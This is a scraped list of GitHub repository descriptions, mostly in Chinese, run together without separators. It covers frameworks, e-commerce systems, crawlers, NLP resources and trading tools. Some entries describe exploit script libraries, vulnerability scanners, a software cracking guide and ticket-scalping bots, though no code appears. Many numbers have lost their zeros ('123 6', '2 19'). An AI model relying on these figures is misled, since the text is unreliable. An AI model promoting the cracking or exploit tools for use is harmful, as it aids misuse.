MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent  magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 